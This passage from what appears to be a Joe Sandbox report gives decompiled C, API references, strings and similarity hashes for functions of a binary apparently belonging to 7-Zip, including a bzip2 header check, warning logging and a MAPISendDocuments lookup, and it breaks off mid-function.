					_t72 = _t72 + _t109;
					memset(_t112 + _t87, _t62, (_t109 & 0x00000003) << 0);
				}
				_t81 = _v44;
				_t107 = _t72 + 1;
				 *_t72 = _t81;
				_t55 =  &_v43;
				if(_t81 != 0) {
					_t108 = _t107 -  &_v43;
					do {
						_t85 =  *_t55;
						 *((char*)(_t108 + _t55)) = _t85;
						_t55 = _t55 + 1;
					} while (_t85 != 0);
				}
				E00407CD5( *((intOrPtr*)(_t121 + 0x24)),  &_v160);
				L00407CAC( *((intOrPtr*)(_t121 + 0x24)));
				 *((intOrPtr*)(_t121 + 8)) =  *((intOrPtr*)(_t121 + 0x10));
				_t60 =  *((intOrPtr*)(_t121 + 0x14));
				 *((intOrPtr*)(_t121 + 0xc)) = _t60;
				return _t60;
			}

0x004060df
0x004060e2
0x004060e5
0x004060ec
0x00406107
0x0040610c
0x004060ee
0x004060ee
0x004060f0
0x004060f0
0x00406113
0x00406116
0x0040611f
0x00406125
0x0040612a
0x0040612f
0x00406132
0x00406135
0x00406138
0x0040613a
0x0040613a
0x0040613c
0x0040613f
0x00406144
0x00406146
0x00406146
0x0040614c
0x00406152
0x00406155
0x00406159
0x0040615b
0x00406164
0x0040616a
0x0040616d
0x00406171
0x0040617b
0x0040617e
0x0040617e
0x00406180
0x00406180
0x00406183
0x00406183
0x00406186
0x0040618b
0x0040618d
0x0040618f
0x00406196
0x004061a0
0x004061a0
0x004061a7
0x004061a9
0x004061a9
0x004061ae
0x004061b1
0x004061b3
0x004061ba
0x004061bc
0x004061be
0x004061c1
0x004061c4
0x004061cb
0x004061cd
0x004061cd
0x004061cf
0x004061d2
0x004061d7
0x004061d9
0x004061dc
0x004061e1
0x004061e3
0x004061e3
0x004061e5
0x004061e8
0x004061e9
0x004061e3
0x004061f7
0x004061ff
0x00406208
0x0040620b
0x0040620e
0x00406214

APIs

__aulldiv.LIBCMT ref: 00406107

Strings

, xrefs: 004061B5
, xrefs: 0040615D
%, xrefs: 00406125

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: __aulldiv
String ID: $ $%
API String ID: 3732870572-114112156
Opcode ID: 5f3be3b97577a96593b7eed08c3f672e33e18b0ddb9a91ce93faccb85b3d0260
Instruction ID: b857c6e470453704c1f0b52f1adfc20138d148c1cd609403c8723782e6e4065e
Opcode Fuzzy Hash: 5f3be3b97577a96593b7eed08c3f672e33e18b0ddb9a91ce93faccb85b3d0260
Instruction Fuzzy Hash: 5241B531B007089BDB24CE69D891AAAB7F6EF88304F14853ED546E7382EB34AD18C754

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC41 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041CC41() {
				void* _t29;
				void* _t35;
				intOrPtr* _t36;
				void* _t45;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t49;
				void* _t51;
				void* _t53;

				L0046B890(E00475648, _t51);
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				_t49 =  *((intOrPtr*)(_t51 + 8));
				 *(_t51 - 4) = 1;
				 *((intOrPtr*)(_t51 - 0x10)) = _t53 - 0xc;
				 *((intOrPtr*)( *_t49 + 0x10))(_t49, _t45, _t48, _t35);
				_t46 =  *((intOrPtr*)(_t51 + 0xc));
				_t36 = _t49 + 0x28;
				_t29 =  *((intOrPtr*)( *_t46 + 0x10))(_t46, 0, 0, 1, _t36);
				_t56 = _t29;
				if(_t29 == 0) {
					_t29 = L0040FAC0(_t56, 3);
					if(_t29 == 0) {
						if( *((char*)(_t51 + 8)) != 0x42 ||  *((char*)(_t51 + 9)) != 0x5a ||  *((char*)(_t51 + 0xa)) != 0x68) {
							_t29 = 1;
						} else {
							_t29 =  *((intOrPtr*)( *_t46 + 0x10))(_t46, 0, 0, 2, _t51 - 0x18);
							if(_t29 == 0) {
								 *((char*)(_t49 + 0x30)) = 1;
								asm("sbb ecx, [ebx+0x4]");
								 *((intOrPtr*)(_t49 + 0x20)) =  *((intOrPtr*)(_t51 - 0x18)) -  *_t36;
								 *((intOrPtr*)(_t49 + 0x24)) =  *((intOrPtr*)(_t51 - 0x14));
								E0040C9B4(_t49 + 0x14, _t46);
								E0040C9B4(_t49 + 0x18, _t46);
								_t29 = 0;
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t51 - 0xc));
				return _t29;
			}

0x0041cc46
0x0041cc4e
0x0041cc54
0x0041cc58
0x0041cc5e
0x0041cc62
0x0041cc65
0x0041cc68
0x0041cc75
0x0041cc78
0x0041cc7a
0x0041cc83
0x0041cc8a
0x0041cc90
0x0041cce5
0x0041cc9e
0x0041ccab
0x0041ccb0
0x0041ccbb
0x0041ccbf
0x0041ccc2
0x0041ccc5
0x0041cccb
0x0041ccd4
0x0041ccd9
0x0041ccd9
0x0041ccb0
0x0041cc90
0x0041cc8a
0x0041ccf8
0x0041cd01

APIs

__EH_prolog.LIBCMT ref: 0041CC46

Strings

B, xrefs: 0041CC8C
h, xrefs: 0041CC98
Z, xrefs: 0041CC92

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: B$Z$h
API String ID: 3519838083-418080759
Opcode ID: 988cd2192efd608b19db09756c2a581b9d9109292c8be2ec66a310d9109e6ca8
Instruction ID: 95da72c9e758c624e4a23e77763632c46c0b47913da8fea83fca01b435c30606
Opcode Fuzzy Hash: 988cd2192efd608b19db09756c2a581b9d9109292c8be2ec66a310d9109e6ca8
Instruction Fuzzy Hash: 3621C771640604FFDB20CF24CC81BEE7BA4BF45B04F14451EF906AB281E3B4AA44C795

Uniqueness

Uniqueness Score: -1.00%

Function 004065F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004065F1(void* __ecx) {
				intOrPtr* _t29;
				void* _t32;
				void* _t47;
				void* _t53;

				L0046B890(0x473548, _t53);
				_t47 = __ecx;
				 *(_t53 - 0x10) = 0x490a88;
				EnterCriticalSection(0x490a88);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				E00415C6D(_t47 + 0x60,  *((intOrPtr*)(_t53 + 0xc)));
				L00403532(_t53 - 0x1c,  *((intOrPtr*)(_t53 + 8)));
				_push(_t53 - 0x1c);
				 *(_t53 - 4) = 1;
				E00406796(_t47 + 0x4c);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				L00407A18( *((intOrPtr*)(_t53 - 0x1c)));
				_t48 = _t47 + 8;
				E00406000(_t47 + 8);
				E004060BD(_t48);
				E0040608D(_t48, "WARNING: ");
				_t29 = E00404B09(_t53 - 0x1c,  *((intOrPtr*)(_t53 + 0xc)));
				 *(_t53 - 4) = 2;
				E004060A5(_t48,  *_t29);
				L00407A18( *((intOrPtr*)(_t53 - 0x1c)));
				LeaveCriticalSection(0x490a88);
				_t32 = 1;
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t32;
			}

0x004065f6
0x00406605
0x00406608
0x0040660b
0x00406614
0x0040661b
0x00406626
0x00406631
0x00406632
0x00406636
0x0040663e
0x00406642
0x00406648
0x0040664d
0x00406654
0x00406660
0x0040666b
0x00406674
0x00406678
0x00406680
0x00406687
0x00406692
0x00406695
0x0040669d

APIs

__EH_prolog.LIBCMT ref: 004065F6
EnterCriticalSection.KERNEL32(00490A88), ref: 0040660B

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Part of subcall function 00404B09: __EH_prolog.LIBCMT ref: 00404B0E

LeaveCriticalSection.KERNEL32(00490A88,?,?,?), ref: 00406687

Strings

WARNING: , xrefs: 00406659

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog$CriticalSection$EnterLeave
String ID: WARNING:
API String ID: 2490926211-3509524770
Opcode ID: f1e17dd44587561c5c06765c6a73770b15ebc0bdbd4201d644edde32ea7bff0d
Instruction ID: 4da438c53a722fe7a77adf22add2750a6654a71b2c88e06f60811bef9031d0d9
Opcode Fuzzy Hash: f1e17dd44587561c5c06765c6a73770b15ebc0bdbd4201d644edde32ea7bff0d
Instruction Fuzzy Hash: 95118F31E00149ABDB05FF65D846BEDBB79AF90318F10802EF406772D2DB7C1A159B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041AA2D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0041AA2D(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				void* _t121;
				void* _t124;

				E0046B8F4(0, 0);
				__eax = GetProcAddress( *(__ebp + 0x14), "MAPISendDocuments");
				__eflags = __eax - __ebx;
				 *(__ebp + 8) = __eax;
				if(__eax != __ebx) {
					__ecx = __ebp - 0x138;
					__eax = L0041B927(__ebp - 0x138);
					__eflags =  *((intOrPtr*)(__esi + 0x20)) - __ebx;
					 *(__ebp - 4) = 0x28;
					 *(__ebp + 0xc) = __ebx;
					if(__eflags <= 0) {
						L8:
						__ecx = __ebp - 0x168;
						__eax = L0041B838(__ebp - 0x168, __edi, __eflags);
						__esi = 0;
						__eflags =  *((intOrPtr*)(__ebp - 0x130)) - __ebx;
						 *(__ebp - 4) = 0x2b;
						if( *((intOrPtr*)(__ebp - 0x130)) > __ebx) {
							do {
								__eax =  *(__ebp - 0x12c);
								__ecx = __ebp - 0x144;
								__eax = L004039C0(__ebp - 0x144,  *((intOrPtr*)( *(__ebp - 0x12c) + __esi * 4)));
								__edx = __ebp - 0x144;
								__ecx = __ebp - 0xec;
								 *(__ebp - 4) = 0x2c;
								__eax = E00408963(__ebp - 0x144);
								__edx = __ebp - 0x144;
								__ecx = __ebp - 0x150;
								 *(__ebp - 4) = 0x2d;
								__eax = E0041AE3F();
								__edx = __ebp - 0xec;
								__ecx = __ebp - 0x15c;
								 *(__ebp - 4) = 0x2e;
								__eax = E0041AE3F();
								 *(__ebp - 4) = 0x2f;
								 *(__ebp + 8)(__ebx, ";",  *(__ebp - 0x150),  *(__ebp - 0x15c), __ebx) = L00407A18( *(__ebp - 0x15c));
								L00407A18( *(__ebp - 0x150)) = L00407A18( *(__ebp - 0xec));
								 *(__ebp - 4) = 0x2b;
								__eax = L00407A18( *(__ebp - 0x144));
								__esi = __esi + 1;
								__eflags = __esi -  *((intOrPtr*)(__ebp - 0x130));
							} while (__esi <  *((intOrPtr*)(__ebp - 0x130)));
						}
						__ecx = __ebp - 0x168;
						 *(__ebp - 4) = 0x28;
						__eax = L0041B875(__ebp - 0x168);
						__ecx = __ebp - 0x138;
						 *(__ebp - 4) = 0x27;
						__eax = L004036A1(__ebp - 0x138);
						__ecx = __ebp + 0x14;
						 *(__ebp - 4) = 0x15;
						__eax = E0040960A(__ebp + 0x14);
						__ecx = __ebp - 0x4c;
						 *(__ebp - 4) = 0x11;
						__eax = L0041BA22(__ebp - 0x4c);
						__ecx = __ebp - 0x78;
						 *(__ebp - 4) = 0x10;
						__eax = E0041AE89(__ebp - 0x78);
						__ecx = __ebp - 0x88;
						 *(__ebp - 4) = 0xf;
						E0041AE59(__ebp - 0x88) = L00407A18( *((intOrPtr*)(__ebp - 0x38)));
						 *(__ebp - 4) = 4;
						__ecx = __ebp - 0x1b8;
						E004102DF(__ebp - 0x1b8, __eflags) = L00407A18( *((intOrPtr*)(__ebp - 0x2c)));
						 *(__ebp - 4) =  *(__ebp - 4) | 0xffffffff;
						__ecx = __ebp - 0x124;
						L00403411(__ebp - 0x124) = 0;
						__eflags = 0;
					} else {
						while(1) {
							__eax =  *(__esi + 0x24);
							__ecx =  *(__ebp + 0xc);
							__eax =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4);
							__ecx = __ebp - 0x20;
							__ebx =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc;
							L0040351A(__ebp - 0x20) = __ebp - 0xec;
							__ecx =  *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc;
							_push(__ebp - 0xec);
							 *(__ebp - 4) = 0x29;
							__eax = E0041ACE8( *( *(__esi + 0x24) +  *(__ebp + 0xc) * 4) + 0xc, __edx, __eflags);
							__eax =  *__eax;
							__edx = __ebp - 0x20;
							__ecx = __eax;
							 *(__ebp - 4) = 0x2a;
							__eax = E0040A5AF();
							 *(__ebp - 4) = 0x29;
							asm("sbb bl, bl");
							__eax = L00407A18( *(__ebp - 0xec));
							__eflags =  ~__al + 1;
							if( ~__al + 1 != 0) {
								break;
							}
							__eax = __ebp - 0x20;
							__ecx = __ebp - 0x138;
							_push(__ebp - 0x20);
							__eax = E00406796(__ebp - 0x138);
							 *(__ebp - 4) = 0x28;
							__eax = L00407A18( *(__ebp - 0x20));
							 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
							__eax =  *(__ebp + 0xc);
							__eflags =  *(__ebp + 0xc) -  *((intOrPtr*)(__esi + 0x20));
							if( *(__ebp + 0xc) <  *((intOrPtr*)(__esi + 0x20))) {
								continue;
							} else {
								__ebx = 0;
								__eflags = 0;
								goto L8;
							}
							goto L12;
						}
						__eax = GetLastError();
						__ecx =  &(__edi[7]);
						 *__edi = __eax;
						L00403593( &(__edi[7]), L"GetFullPathName error") = L00407A18( *(__ebp - 0x20));
						 *(__ebp - 4) = 0x27;
						__ecx = __ebp - 0x138;
						__eax = L004036A1(__ecx);
						goto L14;
					}
				} else {
					 *__edi = GetLastError();
					_push(L"7-Zip cannot find MAPISendDocuments function");
					L00403593(__edi + 0x1c);
					L14:
					 *(_t121 - 4) = 0x15;
					E0040960A(_t121 + 0x14);
					 *(_t121 - 4) = 0x11;
					L0041BA22(_t121 - 0x4c);
					 *(_t121 - 4) = 0x10;
					E0041AE89(_t121 - 0x78);
					 *(_t121 - 4) = 0xf;
					E0041AE59(_t121 - 0x88);
					L00407A18( *((intOrPtr*)(_t121 - 0x38)));
					 *(_t121 - 4) = 4;
					E004102DF(_t121 - 0x1b8, _t124);
					L00407A18( *((intOrPtr*)(_t121 - 0x2c)));
					 *(_t121 - 4) =  *(_t121 - 4) | 0xffffffff;
					L00403411(_t121 - 0x124);
				}
				L12:
				 *[fs:0x0] =  *((intOrPtr*)(_t121 - 0xc));
				return 0x80004005;
			}

0x0041aa31
0x0041aa3e
0x0041aa44
0x0041aa46
0x0041aa49
0x0041aa5a
0x0041aa60
0x0041aa65
0x0041aa68
0x0041aa6c
0x0041aa6f
0x0041aaf0
0x0041aaf0
0x0041aaf6
0x0041aafb
0x0041aafd
0x0041ab03
0x0041ab07
0x0041ab0d
0x0041ab0d
0x0041ab13
0x0041ab1c
0x0041ab21
0x0041ab27
0x0041ab2d
0x0041ab31
0x0041ab36
0x0041ab3c
0x0041ab42
0x0041ab46
0x0041ab4b
0x0041ab51
0x0041ab57
0x0041ab5b
0x0041ab61
0x0041ab80
0x0041ab96
0x0041aba1
0x0041aba5
0x0041abad
0x0041abae
0x0041abae
0x0041ab0d
0x0041abba
0x0041abc0
0x0041abc4
0x0041abc9
0x0041abcf
0x0041abd3
0x0041abd8
0x0041abdb
0x0041abdf
0x0041abe4
0x0041abe7
0x0041abeb
0x0041abf0
0x0041abf3
0x0041abf7
0x0041abfc
0x0041ac02
0x0041ac0e
0x0041ac14
0x0041ac18
0x0041ac26
0x0041ac2b
0x0041ac30
0x0041ac3b
0x0041ac3b
0x0041aa71
0x0041aa71
0x0041aa71
0x0041aa74
0x0041aa77
0x0041aa7a
0x0041aa7d
0x0041aa85
0x0041aa8b
0x0041aa8d
0x0041aa8e
0x0041aa92
0x0041aa97
0x0041aa99
0x0041aa9c
0x0041aa9e
0x0041aaa2
0x0041aaa9
0x0041aab5
0x0041aab9
0x0041aabe
0x0041aac1
0x00000000
0x00000000
0x0041aac7
0x0041aaca
0x0041aad0
0x0041aad1
0x0041aad6
0x0041aadd
0x0041aae2
0x0041aae6
0x0041aae9
0x0041aaec
0x00000000
0x0041aaee
0x0041aaee
0x0041aaee
0x00000000
0x0041aaee
0x00000000
0x0041aaec
0x0041ac4e
0x0041ac54
0x0041ac57
0x0041ac66
0x0041ac6c
0x0041ac70
0x0041ac76
0x00000000
0x0041ac76
0x0041aa4b
0x0041aa51
0x0041aa53
0x0041aa23
0x0041ac7b
0x0041ac7e
0x0041ac82
0x0041ac8a
0x0041ac8e
0x0041ac96
0x0041ac9a
0x0041aca5
0x0041aca9
0x0041acb1
0x0041acb7
0x0041acc1
0x0041acc9
0x0041acce
0x0041acd9
0x0041acde
0x0041ac3d
0x0041ac42
0x0041ac4b

APIs

Part of subcall function 0046B8F4: KiUserExceptionDispatcher.NTDLL(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

GetProcAddress.KERNEL32(?,MAPISendDocuments), ref: 0041AA3E
GetLastError.KERNEL32 ref: 0041AA4B

Part of subcall function 0040960A: FreeLibrary.KERNEL32(00000000,?,0040963A,?,?,00409660,00000000), ref: 00409614

Part of subcall function 0041BA22: __EH_prolog.LIBCMT ref: 0041BA27

Part of subcall function 0041AE89: __EH_prolog.LIBCMT ref: 0041AE8E

Part of subcall function 0041AE59: __EH_prolog.LIBCMT ref: 0041AE5E

Part of subcall function 004102DF: __EH_prolog.LIBCMT ref: 004102E4

Part of subcall function 00403411: __EH_prolog.LIBCMT ref: 00403416

Strings

7-Zip cannot find MAPISendDocuments function, xrefs: 0041AA53
MAPISendDocuments, xrefs: 0041AA36

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog$AddressDispatcherErrorExceptionFreeLastLibraryProcUser
String ID: 7-Zip cannot find MAPISendDocuments function$MAPISendDocuments
API String ID: 271768909-2393093766
Opcode ID: 9ec246aa654e04f0a6a68fa3605e078be6015960154815daedce4f2c51903c19
Instruction ID: 292e67d6ab7125016d89913b4f1d38c64d53d2453e5fd5feb3a7f6d712afac38
Opcode Fuzzy Hash: 9ec246aa654e04f0a6a68fa3605e078be6015960154815daedce4f2c51903c19
Instruction Fuzzy Hash: AA11C130905248EADB01EFA4D9457DCBB70AF15358F2044AFE106731D2DB781A98DB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00471F76 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00496224), ref: 00471F9C
InterlockedDecrement.KERNEL32(00496224), ref: 00471FB1

Strings

$bI, xrefs: 00471F95

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Interlocked$DecrementIncrement
String ID: $bI
API String ID: 2172605799-2563688255
Opcode ID: 14794fd947a66a7e740a79147c95f718189372345e86d1cd971f01589f6869bf
Instruction ID: f620e85f8d82dfbac1e457229ba36f5d0a3130eb6314d64e12aaba347fa3cd4d
Opcode Fuzzy Hash: 14794fd947a66a7e740a79147c95f718189372345e86d1cd971f01589f6869bf
Instruction Fuzzy Hash: 0BF0C232105242ABE720BFAEACC5DDB6795FB91719F10883FF008851A0D7689985951E

Uniqueness

Uniqueness Score: -1.00%

Function 00470DBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00470DBD(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t19;

				InterlockedIncrement(0x496224);
				_t19 =  *0x496220; // 0x0
				if(_t19 != 0) {
					InterlockedDecrement(0x496224);
					E0046E56A(0x13);
					_push(1);
					_pop(0);
				}
				_a8 = E00470E16(_a4, _a8);
				if(0 == 0) {
					InterlockedDecrement(0x496224);
				} else {
					E0046E5CB(0x13);
				}
				return _a8;
			}

0x00470dc9
0x00470dd7
0x00470ddd
0x00470de0
0x00470de4
0x00470dea
0x00470dec
0x00470dec
0x00470df9
0x00470dff
0x00470e0c
0x00470e01
0x00470e03
0x00470e08
0x00470e15

APIs

InterlockedIncrement.KERNEL32(00496224), ref: 00470DC9
InterlockedDecrement.KERNEL32(00496224), ref: 00470DE0

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

InterlockedDecrement.KERNEL32(00496224), ref: 00470E0C

Strings

$bI, xrefs: 00470DC2

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: Interlocked$CriticalDecrementSection$EnterIncrementInitialize
String ID: $bI
API String ID: 2038102319-2563688255
Opcode ID: efb15d606f5e44fd71a55acc674efbc2999dbd389be6925d70f36fac0792ac87
Instruction ID: a29c1fd973d67cf1eab9a1632a1b120ecfaf970aee40f0b8d32a81a5239f5549
Opcode Fuzzy Hash: efb15d606f5e44fd71a55acc674efbc2999dbd389be6925d70f36fac0792ac87
Instruction Fuzzy Hash: AAF0B436102119FEEB102B96AC419CF7798EF44728F11843FF508491519B745A818999

Uniqueness

Uniqueness Score: -1.00%

Function 00458600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00458600() {
				signed int _t4;

				_t4 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetLargePageMinimum");
				if(_t4 != 0) {
					_t4 =  *_t4();
					if(_t4 != 0) {
						_t1 = _t4 - 1; // -1
						if((_t4 & _t1) == 0) {
							 *0x491560 = _t4;
							return _t4;
						}
					}
				}
				return _t4;
			}

0x00458611
0x00458619
0x0045861b
0x0045861f
0x00458621
0x00458626
0x00458628
0x00000000
0x00458628
0x00458626
0x0045861f
0x0045862d

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetLargePageMinimum,00403B70,?,?,00000000,00000001,00000000), ref: 0045860A
GetProcAddress.KERNEL32(00000000), ref: 00458611

Strings

kernel32.dll, xrefs: 00458605
GetLargePageMinimum, xrefs: 00458600

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll
API String ID: 1646373207-2515562745
Opcode ID: e945a4318dcfde84d8dda7067848fc9038098bba741c81babacb23e338e356e1
Instruction ID: 187617de4669a97dd730b08bbbb79d285659c800799f683955411e203a0e4393
Opcode Fuzzy Hash: e945a4318dcfde84d8dda7067848fc9038098bba741c81babacb23e338e356e1
Instruction Fuzzy Hash: C4D0C7F0741316569B145BB15C4C77F3654AB94743B4444BF6806D1191EF29D504CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0046C94A Relevance: 6.5, APIs: 5, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0046C94A(void* _a4, long _a8) {
				signed int _v8;
				intOrPtr _v20;
				long _v36;
				void* _v40;
				intOrPtr _v44;
				char _v48;
				long _v52;
				long _v56;
				char _v60;
				intOrPtr _t56;
